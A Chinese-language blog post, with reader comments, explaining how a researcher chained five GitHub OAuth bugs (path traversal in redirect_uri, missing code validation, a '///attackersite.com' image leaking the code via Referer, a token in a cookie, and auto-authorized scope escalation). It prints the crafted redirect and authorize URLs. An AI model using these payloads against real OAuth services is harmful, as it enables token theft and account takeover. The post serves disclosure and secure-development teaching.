从“黑掉Github”学Web安全开发

从“黑掉Github”学Web安全开发

Egor Homakov(Twitter: @homakov 个人网站: EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单,很多地方一笔带过,所以,我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项,大家可以看看这篇文章《Web开发中的你需要了解的东西

OAuth简介

首先,这个故事要从Github OAuth讲起。所以,我们需要先知道什么是OAuth。所谓OAuth就是说,第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务,提供OAuth服务的网站一般都有很多开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,但是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的帐户内的功能和数据,所以,当第三应用要干这些事的时候,我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码,不然第三方的应用就把用户的密码给获取了,所以,OAuth协议会跳转到一个页面,让用户授权给这个第三方应用以某些权限,然后,这个权限授权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个授权token,于是第三方的应用通过这个token来操作某用户帐号的功能和数据时,就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。

从上面的流程图中,我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议,所以,在Server端要把OAuth实现对并不是一些容易事,其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。

OAuth的Callback

还需要注意的是,因为OAuth是需要跳到主站的网页上去让用户授权,当用户授权完后,需要跳转回原网页,所以,一般来说,OAuth授权页都会带一个 redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说,redirect_uri这个参数需要在服务器端进行验证。

你想一下,如果有人可以控制这个redirect_uri这个参数,那么,你就可以让其跳转到别的网页上(可能会是个有恶意的网页)。如果你觉得跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用授权通过后,服务方会给第三方应用返回一个授权token,这个token会被加到那个redirect_uri参数后面然后跳转回去,如果这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被转过去了,于是授权token也就被泄漏过去了。

知道了这一切,我们就可以理解Egor提的那5个bug是什么意思了。

第一个Bug — 没有检查重定向URL中的/../

首先,我们通过Github的 redirect_uri 的说明文档我们可以看到这样的说明:

如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org

而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是说,域名是gist.github.com,目录是/auth/github/callback/,服务器端做了这个限制,看似很安全了。

但是,Egor发现,Github的服务器端并没有验证.. /../../这样的情况。

于是,Egor相当于构造了一个下面这样的Redirect URL:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

于是上面的URL就相当于:

https://gist.github.com/homakov/8820324?code=CODE

你可以看到,认证后的跳转网页转到了别的地方去(并非是github限制的地方)——我们知道Github的gist虽然是给你分享代码片段的,但是也可以用来定制自己的东西的(比如markdown),这个gist的网页当然是被Egor所控制的。

第二个BUG — 没有校验token

第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样,只要服务器做了这个验证,第一个bug完全没有什么用处,但是,github的服务端并没有验证。

这就是第二个bug,于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。

也就是说,token的生成要考虑redirect_uri,这样,当URL跳转的时候,会把redirect_uri和token带到跳转页面(这里的跳转页面还是github自己的),跳转页面的服务端程序要用redirect_uri来生成一个token,看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说,对URL签名和对签名验证的因子包括,源IP,服务器时间截,session,或是再加个salt什么的。

第三个BUG — 注入跨站图片

现在,redirect_uri带着code,安全顺利地跳到了Egor构造的网页上:

https://gist.github.com/homakov/8820324?code=CODE

但是,这个是gist的网页,你无法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby做的),现在的问题是我们怎么得到那个code,因为那个code虽然后带到了我的网页上来,但那个网页还是github和用户自己的环境。

到这里,一般来说,黑客会在这个页面上放一个诸如下面的一个链接,来引诱用户点击,:

<a href=http://hack.you.com/>私人照片</a>

这样,当页面跳转到黑客的网站上来后,你之前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就可以得到你的token了。

但是,在gist上放个链接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上可以嵌入外站的图片,但是github的开发人员并非等闲之辈,对于外站的图片,其统统会把这些图片的url代理成github自己的url,所以,你很难搞定。

不过,我们可以用一个很诡异的技巧:

<img src=”///attackersite.com”>

这个是什么玩意?这个是个URL的相对路径。但是为什么会有三个///呢?呵呵。

像程序员一样的思考

这个时候,我们需要以“程序员的编程思维”来思考问题——如果你是程序员,你会怎么写校验URL的程序?你一定会想到使用正则表达式,或是用程序来匹配URL中的一些pattern。于是,

  • 对于绝对路径:你会匹配两个//,后面的可能会是 [email protected](user@是可选的),然后可能会有:<n>端口号,然后是/,后面是服务器的路径,再往后面应该是?后面带一些参数了。
  • 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。

好了,如果coolshell.cn网页中的<img src=>或<a href=>中用到的相对路径是 /host.com,那么浏览器会解释成:https://coolshell.cn/host.com,如果是///host.com,那么就应该被浏览器解释成 https://coolshell.cn///host.com。

但是,Chrome和Firefox,会把///host.com当成绝对路径,因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ,你可以看看下面的连接(源码如下):

CoolShell Test

<a href="///www.google.com">CoolShell Test</a>

关键是,这个Chrome/Firefox的问题被标记成了Won’t Fix,我勒个去,基本上来说,后台的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。

于是,我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉到(因为我们前面说过大多数语言的URL检查库都会被 Bypass了),但是浏览器端把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。

到这里,黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足,他想要的更多。

第四个bug – Gist把github_token放在了cookie里

于是Egor在用户的cookie里找到了 github_token

但是这个token没什么用,因为授权的Scope只有gists。但是,这个token不应该放在用户端的cookie里,本身就是一个安全事故,这个东西只能放在服务端(关于Web开发中的安全事项,可以看看这篇文章《Web开发中的你需要了解的东西》)。

于是,Egor只能另谋出路。

第五个Bug – 自动给gist授权

因为gist是github自家的,Egor所以估计github想做得简单一点,当用户访问gist的时候,不会出弹出一个OAuth的页面来让用户授权,不然,用户就会很诧异,都是你们自家的东西,还要授权?所以,Egor猜测github应该是对gist做了自动授权,于是,Egor搞了这样的一个URL(注意其中的 redirect_uri中的scope )

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

于是,这个redirect-uri不但帮黑客拿到了访问gist的token,而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。

 其它 & 感想

于是,作者从 Github Security Bug Bounty 拿到了USD $4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,如果Github请他做安全顾问,他只收一小时USD $400刀,这4个小时也就$1,600。呵呵。大家看看,这是多么有效率的赚钱方式。

下图是Github上的赏金猎手的排行榜(https://bounty.github.com/index.html#leaderboard)你可以上去挨个看看他们找到的问题,你会发现好些安全问题都很小,有些只能说是不是很规范的问题,Github都赏了几百刀。我查看了一下github的赏金政策,github赏金至少100刀,到5000刀不等。

让我们扪心自问一下,我们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我一样的时间,我们用来抽几块钱的红包,人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《加班与效率

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

好烂啊有点差凑合看看还不错很精彩 (57 人打了分,平均分: 4.02 )
Loading...

从“黑掉Github”学Web安全开发》的相关评论

  1. 看了以后想起了那个故事:10000$修理费的故事。时间大家都是一样的,但是产出大家都不一样。效率问题。

  2. 我想问一下博主,我使用ios系统,利用RSS阅读器阅读您的博客后,为什么无法获取旧的文章。
    操作系统:ios7.05 使用过的软件:Reeder2 Feedly等。
    我的问题是:源可以添加,但是无法获取之前的文章,或者说是已读的文章。之前看到一篇文章说可以在电脑的RSS阅读器中将文章标记为加星,然后就可以发现了。但是这个感觉是治标不治本的。请问有什么办法?
    我还发现国内的鲜果阅读器可以获取旧的文章,我猜是不是他缓存过您的文章,然后我们可以获取。

  3. 人家4个小时找了5个bug,挣了$4000美金,
    可问题是没有之前的不知多少个小时的技术积累与总结,你也不可能做到4个小时挣到这4000USD

  4. 做事情的有效驱动力很简单,兴趣所致和利益驱使。
    这两者的推进作用是最大的,比如资深游戏玩家更愿意帮助改善游戏,报告漏洞。
    github的深度用户一定也会为社区贡献更多。

  5. 有一点不明白,第三方应用获取accesstoken或者code都得通过redirect_uri 第三方应用server通过对redirect_url的request处理获取token或者code,按照文章里说的“而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/” 那么第三方应用如何拿到token或者code?

  6. 我们花4个小时发现bug后,可能看到的不是奖金,而是律师函,搞不好还以xx罪踉跄入狱。。。

  7. 是呀,尤其是学中文那一段真是悲哀:95% of these people are extremely poor and not educated peasants – wanna talk to them, huh? Left 5% are likely rich and smart people, and since they are smart they speak English. In fact, there is no point in learning Chinese yet.@Hao

  8. ryanhust :
    有一点不明白,第三方应用获取accesstoken或者code都得通过redirect_uri 第三方应用server通过对redirect_url的request处理获取token或者code,按照文章里说的“而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/” 那么第三方应用如何拿到token或者code?

    这就是第一个漏洞所在啊…… 多做了几次「../」定位到了受作者控制的 gist 页面上,再在 gist 页面上做手脚(第三个漏洞),引入外站图片,成功链接到了外部站点,突破了 github 的限制。

  9. 看了这个人的Blog,给你们看看他对上海的印象:

    Shanghai is dirty and noisy. To use “free” wifi you need local mobile number, I don’t have a phone so I can’t survive here too long. Fucking great firewall annoys everyone, fucking socialism rules are obviously shit. Chinese people appears to be labor for 1st world countries. Those skyscrapers are built for 1st world “people in suits”. My impression of the city is Saigon but 10 years later.

  10. @ryanhust
    因为这哥们利用的是Gist获取GitHub OAuth时的漏洞,这相当于是一个内部的OAuth,GitHub已经指定了callback的URL,即https://gist.github.com/auth/github/callback/。 我的理解是这样,不知道准不准确。

    另外同时求问,每个用户的 client_id 是如何获取的?

  11. “第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样”,这句话是不是有误啊

  12. 大约95%的人只受过基础教育,甚至生活在极度贫困中,老外学的中文不是为了和他们交流。
    而剩下的 5%的富有的人选择了出国深造,或者本身就熟练英文。
    呵~~

    So …

  13. @ryanhust

    我们合起来看看这五个bug吧。
    首先,丢给受害的用户那个被构造的url
    然后,利用第一个bug,让OAuth引导到gist的页面
    这个时候,由于第二个bug,gist页面里面也会有access_token在url里,不过此时用户还停留在gist页面,token还没到手
    之后,利用第三个bug导入的外链图片能在gist中显示,只要诱导用户点击,就可以在请求的referrer的header里拿到token
    最后,由于第五个bug,这个token的权限是可以读到repo等所有github的内容
    这就是小漏洞组合成一个大漏洞啊!学习了!!

  14. 还是没想明白几个问题 :)
    1. 都是git自己的应用,为什么需要oauth机制呢,而且还是自动授权的。 内部开发服务调用不好了么?
    2. 构造的这些URL怎么给到用户呢?

  15. @whaon
    我的理解是, 依照请求的URL生成一个token, 后面验证这个token的时候,看看请求的URL跟之前生成token的url是否一致。

  16. Herrington Darkholme :
    @ryanhust
    我们合起来看看这五个bug吧。
    首先,丢给受害的用户那个被构造的url
    然后,利用第一个bug,让OAuth引导到gist的页面
    这个时候,由于第二个bug,gist页面里面也会有access_token在url里,不过此时用户还停留在gist页面,token还没到手
    之后,利用第三个bug导入的外链图片能在gist中显示,只要诱导用户点击,就可以在请求的referrer的header里拿到token
    最后,由于第五个bug,这个token的权限是可以读到repo等所有github的内容
    这就是小漏洞组合成一个大漏洞啊!学习了!!

    第一个问题,如何丢给用户那个被构造的URL呢?

  17. @comiclee
    一开始我也没看懂,原文是 Bug 2. Lack of redirect_uri validation on get-token endpoint 换token(指的是access token)的时候缺少重定向地址的校验。

    OAuth 2.0的规范 http://tools.ietf.org/html/rfc6749#section-4.1 也提到必须校验:

    (E) The authorization server authenticates the client, validates the
    authorization code, and ensures that the redirection URI
    received matches the URI used to redirect the client in
    step (C).

    redirect_uri这个重定向地址是让第三方接收authorization code(授权码) 来换access token的。对于第三方而言,谁给它授权码谁就是合法用户,后续将与之建立http会话回吐用户的信息。所以一旦这个地址被攻击者改了,code就会被拦截,真正的用户被重定向到了攻击者的页面,正常流程因此中断;而攻击者就可以拿着code重新拼装好redirect_uri往浏览器里一贴,无需密码他就成了合法用户,完成了session劫持。

    redirect_uri是如此敏感,有个办法可以在它leak(也就是被改掉)之后补救:第三方在换token的时候是拿着用户给的code,加上自己受信的redirect_uri一起提交给服务提供方做验证。如果之前服务提供方在前面返回code的时候,code是基于异常的redirect_uri计算出来的,那么这一步重新校验就可以知道两者不匹配。

    Egor在这儿 http://homakov.blogspot.com/2013/03/oauth1-oauth2-oauth.html 说redirect_uri应该是个常量,看了下各家都严格做了限定。国内的qq和豆瓣是固定用第三方注册时填写的地址http://open.weibo.com/wiki/Oauth http://developers.douban.com/wiki/?title=oauth2 ;google是可以注册时填多个,但必须使用其中一个;github是必须使用注册时的地址,或该地址的子目录(因此给了攻击者机会)。

  18. Egor Homakov好像就是之前报了RoR漏洞被人无视,然后在Github上拿了RoR项目管理权的那个人吧?

  19. @dgdg
    我的理解是,其他网站有使用github的api,比如用github账户登录之类的。
    然后这个人其实并不控制这些网站,他把这些网站使用的授权链接构造出来,发布出去诱人点击,然后如果受害者点了允许授权,接下来这些网站其实没有拿到授权,反而是被攻击者拿到了。
    不知道我理解的对不对。

  20. 谢谢博主精彩的分析。很多人觉得第二个bug有点难理解,我看了下原文,估计是博主在翻译上有点小失误。在这段中code和token的概念被混淆了。

    真正的表述应该是:Github在处理用auth code换取token的请求中,没有根据redirect url来校验auth code。

    再结合上面 信言 的解释,这次攻击就好理解了。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注